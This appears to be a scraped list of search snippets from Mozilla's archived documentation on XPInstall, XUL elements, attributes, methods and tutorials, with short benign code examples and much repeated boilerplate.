isDirectory - Archive of obsolete content
summary returns a boolean value indicating whether the specified filespecobject is a directory.
isFile - Archive of obsolete content
summary returns a boolean value indicating whether the given filespecobject is a file.
modDate - Archive of obsolete content
summary returns the last modified date of a specified file or directory.
remove - Archive of obsolete content
summary deletes a specified file.
rename - Archive of obsolete content
summary renames a specified file in place.
size - Archive of obsolete content
summary return the size of the given file in bytes.
windowsGetShortName - Archive of obsolete content
summary returns a path that conforms to the windows 8.3 file naming convention.
windowsRegisterServer - Archive of obsolete content
summary windowsregisterserver registers installed dlls with the windows registry.
windowsShortcut - Archive of obsolete content
summary creates a windows shortcut to the installed software.
toString - Archive of obsolete content
summary converts an installversion init object to a string.
alert - Archive of obsolete content
summary the alert function displays a modal dialog box with a message representing the input.
initInstall - Archive of obsolete content
you must call this method immediately after the constructor.
patch - Archive of obsolete content
summary updates an existing component.
performInstall - Archive of obsolete content
summary performs the actual installation of the software.
setPackageFolder - Archive of obsolete content
you should only call this method once, and you should always call it immediately after you call initinstall.
Methods - Archive of obsolete content
logcomment add a comment line to the install log.
Return Codes - Archive of obsolete content
in mozilla/seamonkey, these constants are defined as part of the xpinstall object (formerly the softwareupdate object in netscape communicator 4.5).
writeString - Archive of obsolete content
summary changes a value in a .ini file.
enumKeys - Archive of obsolete content
var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logcomment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( pluginsdir ) logcomment("pluginsdir = " + pluginsdir); else logcomment("no plugins dir for " + basekey + "\\" + mozillaversion); index++; } ...
enumValueNames - Archive of obsolete content
var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); v1 = winreg.enumvaluenames("software\\mozilla\\", 0); logcomment("the first subkey value of the mozilla key: " + v1) ...
setValueNumber - Archive of obsolete content
summary sets the value of a key, when that value is a number.
WinReg Object - Archive of obsolete content
reading registry values is immediate.
XPInstall API reference - Archive of obsolete content
objects install properties methods adddirectory addfile alert cancelinstall confirm deleteregisteredfile execute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compareversion enabled getversion install installchrome startsoftwareupdate installversion properties methods compareto ...
XPInstall - Archive of obsolete content
community view mozilla forums...
Directions of the Mozilla RDF engine - Archive of obsolete content
presentation download summary this presentation showed new developments in the mozilla rdf engine.
Extending Gecko with XBL and XTF - Archive of obsolete content
presentation view online download summary this session explored ways to extend mozilla/firefox to handle new xml tags and namespaces via drop-in extensions to the layout engine.
Mozilla E4X - Archive of obsolete content
presentation view online download summary "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
SVG And Canvas In Mozilla - Archive of obsolete content
presentation view online download summary today's web browsers offer somewhat limited graphics capabilities to web developers.
XUL - Mozilla's XML User Interface Language - Archive of obsolete content
presentation view online download summary ben goodger, lead engineer for mozilla firefox talked about xul, mozilla's xml user interface toolkit.
acceltext - Archive of obsolete content
« xul reference home acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
afterselected - Archive of obsolete content
« xul reference home afterselected type: boolean this is set to true if the tab is immediately after the currently selected tab.
beforeselected - Archive of obsolete content
« xul reference home beforeselected type: boolean this is set to true if the tab is immediately before the currently selected tab.
browser.type - Archive of obsolete content
subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
chromemargin - Archive of obsolete content
the specified string should contain four numbers, separated by commas, indicating the margin in pixels for the top, right, bottom, and left edges of the window, respectively.
datepicker.value - Archive of obsolete content
« xul reference home value type: string the initial value of the datepicker in the form yyyy-mm-dd.
disabled - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
id - Archive of obsolete content
ArchiveMozillaXULAttributeid
example <button id="foo" label="click me" oncommand="dosomething()"/> <script> function dosomething(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </script> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(this, 'i was pressed')"/> <script> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </script> not specifying the id attribute for a window or a pre...
insertafter - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
insertbefore - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
menuactive - Archive of obsolete content
a dommenuitemactive event will be sent to the item when the item is hovered over, and a dommenuiteminactive event will be sent to the item when the selection moves away.
multiple - Archive of obsolete content
« xul reference home multiple type: boolean set to true to indicate that the value contains multiple values separated by commas.
newlines - Archive of obsolete content
possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed ...
onbookmarkgroup - Archive of obsolete content
« xul reference home onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
popupalign - Archive of obsolete content
the example below shows how to create the traditional buttons with attached left mouse menus that exist in the 4.x communicator product.
preference-editable - Archive of obsolete content
the element should fire change, command, or input event when the value is changed so that the preference will update accordingly.
resizeafter - Archive of obsolete content
closest the element immediately to the right or below the splitter resizes.
resizebefore - Archive of obsolete content
closest the element immediately to the left or above the splitter resizes.
showpopup - Archive of obsolete content
you can set this to false and set the autofill attribute to true to emulate a communicator 4.x style autocomplete textbox.
timepicker.value - Archive of obsolete content
« xul reference home value type: string the initial value of the timepicker in either the form hh:mm:ss or hh:mm.
toolbarbutton.type - Archive of obsolete content
unlike the menu type, this type requires the user to press the arrow to open the menu, but a different command may be invoked when the main part of the button is pressed.
tooltiptext - Archive of obsolete content
this can be used instead of setting the tooltip to a popup for the common case where it contains only text.
width - Archive of obsolete content
<hbox> <hbox width="40" style="background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
Dynamically modifying XUL-based user interface - Archive of obsolete content
a logical structure of every document is a tree, with nodes being elements, attributes, processing instructions, comments, etc.
Getting File Information - Archive of obsolete content
file.permissions = 0640; it is common to use an octal number (a number in base 8 beginning with 0) for permissions as it can make the value easier to read.
Reading from Files - Archive of obsolete content
the two most common for text files are the readstring and readline methods for reading a string and a line from the file respectively.
Uploading and Downloading Files - Archive of obsolete content
this is a common technique for uploading files as it is compatible with existing servers and formdata interface makes that task fairly simple.
Writing to Files - Archive of obsolete content
the flags are designed such that the most common case that is needed is with no flags set, so usually you will not set these flags.
How to Quit a XUL Application - Archive of obsolete content
components.interfaces.nsiappstartup.eattemptquit; appstartup.quit(quitseverity); } </script> calling this function if there is an uncaught exception, to force the application to quit: <script> try { dosomething(); } catch (e) { quit(true); } </script> the "quit" menuitem should typically prompt the user if there is unsaved data: <menuitem label="quit" oncommand="quit(false);"/> ...
appendCustomToolbar - Archive of obsolete content
you can supply a comma-separated list of toolbar item ids as the second argument to add some items by default.
appendItem - Archive of obsolete content
example <script language="javascript"> function additemstolist(){ var list = document.getelementbyid('mymenulist'); // add item with just the label list.appenditem('one'); // add item with label and value list.appenditem('two', 999); // select the first item list.selectedindex = 0; } </script> <button label="add items" oncommand="additemstolist()"/> <menulist id="mymenulist"> <menupopup/> </menulist> see also insertitemat() removeitemat() ...
appendNotification - Archive of obsolete content
example: function testnotificationboxwithbuttons() { //create some common variables if they do not exist.
hidePopup - Archive of obsolete content
« xul reference home method of: popup, menupopup, tooltip hidepopup() return type: no return value closes the popup immediately.
insertItemAt - Archive of obsolete content
var newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var newindex = mylistbox.selectedindex; mylistbox.insertitemat(newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the newly created item mylistbox.selectedindex = newindex; } </script> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
removeItemAt - Archive of obsolete content
if(mylistbox.selectedindex == -1){ return; // no item selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallitems(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="removeallitems()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <listitem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallitems() insertitemat() ...
Methods - Archive of obsolete content
cceptdialog additemtoselection addpane addprogresslistener addsession addtab addtabsprogresslistener advance advanceselectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementisvisible ensureindexisvisible ensureselectedelementisvisible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffirstvisiblerow getindexofitem g...
PopupKeys - Archive of obsolete content
if a menuitem is selected, this will close the menu and fire the menuitem's command event.
Positioning - Archive of obsolete content
this value is commonly used for menu buttons.
Printing from a XUL App - Archive of obsolete content
structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps ...
currentSet - Archive of obsolete content
« xul reference currentset not in seamonkey 1.x type: comma-separated list of strings holds a comma-separated list of the ids of the items currently on the toolbar.
datepicker.value - Archive of obsolete content
« xul reference value type: string the currently selected date in the form yyyy-mm-dd.
disabled - Archive of obsolete content
<!-- checkbox enables/disables the button --> <checkbox label="enable button" oncommand="document.getelementbyid('buttremove').disabled = !
timepicker.value - Archive of obsolete content
« xul reference value type: string the currently entered time of the form hh:mm:ss.
Notes - Archive of obsolete content
implementing an nsicommandlinehandler on windows may trigger a bug that causes an error message ("windows cannot find the file specified") to be displayed when opening external links (like from a shortcut or from an external application).
Sorting and filtering a custom tree view - Archive of obsolete content
ype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator" sortdirection="ascending"/> <splitter class="tree-splitter"/> ...
Attribute Substitution - Archive of obsolete content
although not common, you may also wish to insert a question mark or caret into an attribute value.
Building Trees - Archive of obsolete content
« previousnext » the most common element to use with a template is the tree.
Filtering - Archive of obsolete content
it is common to use a template to generate the items on a menu or in a listbox or tree.
RDF Query Syntax - Archive of obsolete content
you can use any variable you want; it's common to use the variable ?uri.
SQLite Templates - Archive of obsolete content
as with xml datasources, the ref attribute isn't currently used for sqlite sources, so you should just set the ref attribute to a dummy value; '*' is typically used.
Simple Query Syntax - Archive of obsolete content
simple rdf graph navigation such as this is common, so the simpler syntax is usually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved.
Static Content - Archive of obsolete content
<menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" ...
XML Templates - Archive of obsolete content
the ref attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used.
Template Guide - Archive of obsolete content
basics of xul templates introduction rule compilation rdf template syntax result generation rdf query syntax actions recursive generation simple example bindings additional navigation filtering static content simple query syntax containment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sor...
Tree Widget Changes - Archive of obsolete content
tree.columns.restorenaturalorder() there is also a command on the end of the tree's column picker which the user may use to restore the original column order.
Accesskey display rules - Archive of obsolete content
for this issue, we recommend the following format if you use .properties: <command-name>.label=cancel <command-name>.accesskey=c note that apis of nsipromptservice are using the bad way.
Adding Buttons - Archive of obsolete content
buttons are commonly used for the ok and cancel buttons in a dialog, for example.
Adding Style Sheets - Archive of obsolete content
the following list summarizes some of the selectors available: button matches all button tags.
Additional Install Features - Archive of obsolete content
the logcomment() function can be used to write a string of text to the log file.
Box Model Details - Archive of obsolete content
example 2 : source view <hbox flex="1" align="top"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> summary of the box model to achieve complicated layouts, you will generally need to add nested boxes, specify minimum and maximum sizes on some elements, and make certain elements flexible.
Creating Dialogs - Archive of obsolete content
the following values may be used, seperated by commas: accept - an ok button cancel - a cancel button help - a help button disclosure - a disclosure button, which is used for showing more information you can set code to execute when the buttons are pressed using the ondialogaccept, ondialogcancel, ondialoghelp and ondialogdisclosure attributes.
Creating a Skin - Archive of obsolete content
adding toolbar icons it is somewhat difficult to distinguish the buttons on the toolbar from the commands on the menu.
Creating a Wizard - Archive of obsolete content
the following is a summary of attribute functions that are called when the user presses next, in the order that they will be checked.
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
it is most common to use rows, as with a table.
Introduction to XBL - Archive of obsolete content
however, to summarize, it causes two buttons to be added automatically inside the box, one an ok button and the other a cancel button.
Modifying the Default Skin - Archive of obsolete content
for example, to add a red border around the menu commands in the bookmarks manager window, add the following to bookmarksmanager.css in the classic.jar or your favorite skin archive.
More Wizards - Archive of obsolete content
next, we'll see how to use overlays to handle common content.
Numeric Controls - Archive of obsolete content
the format of the attribute is exactly as above, that is dates are of the form yyyy/mm/dd and times are of the form hh:mm:ss (although the seconds and the accompanying colon may be omitted).
Scroll Bars - Archive of obsolete content
the leftmost or topmost position of the scroll bar has the value 0 and the rightmost or bottommost position of the scroll bar has the value given by maxpos.
Scrolling Menus - Archive of obsolete content
creating a large menu you might wonder what happens if you create a menu with a lot of commands on it, such that all the items won't fit on the screen at once.
Styling a Tree - Archive of obsolete content
you can check for multiple properties by separating them with commas.
Tabboxes - Archive of obsolete content
« previousnext » it is common in preference dialogs for tabbed pages to appear.
The Chrome URL - Archive of obsolete content
while it is common to put the content files in a directory called 'content', this is purely out of convention, and these files may be placed in an entirely different structure.
Toolbars - Archive of obsolete content
« previousnext » a toolbar is usually placed along the top of a window and contains a number of buttons that perform common functions.
Tree Box Objects - Archive of obsolete content
treeitem label="row 1"/> <treeitem label="row 2"/> <treeitem label="row 3"/> <treeitem label="row 4"/> <treeitem label="row 5"/> <treeitem label="row 6"/> <treeitem label="row 7"/> <treeitem label="row 8"/> <treeitem label="row 9"/> </treechildren> </tree> <hbox align="center"> <label value="scroll to row:"/> <textbox id="tbox"/> <button label="scroll" oncommand="doscroll();"/> </hbox> note that we use the rows attribute on the tree to specify that only four rows are displayed at a time.
Using Spacers - Archive of obsolete content
it is recommended that you use lower numbers for readability.
XBL Attribute Inheritance - Archive of obsolete content
its value should be set to a comma-separated list of attribute names that are to be inherited.
XUL Tutorial - Archive of obsolete content
x model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection commands updating commands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources adv...
Urlbar-icons - Archive of obsolete content
(the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL FAQ - Archive of obsolete content
the recommended way is to edit xul by hand, possibly with the help of a good text or xml editor.
XUL controls - Archive of obsolete content
the command event is fired after the user stops typing, or if the user tabs away or hits enter.
action - Archive of obsolete content
tabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
assign - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
attribute.align - Archive of obsolete content
summary the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
binding - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
bindings - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
box - Archive of obsolete content
ArchiveMozillaXULbox
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
broadcasterset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
caption - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
columns - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
conditions - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
content - Archive of obsolete content
métodos inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
deck - Archive of obsolete content
ArchiveMozillaXULdeck
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
dialogheader - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
dropmarker - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
grippy - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
groupbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listcol - Archive of obsolete content
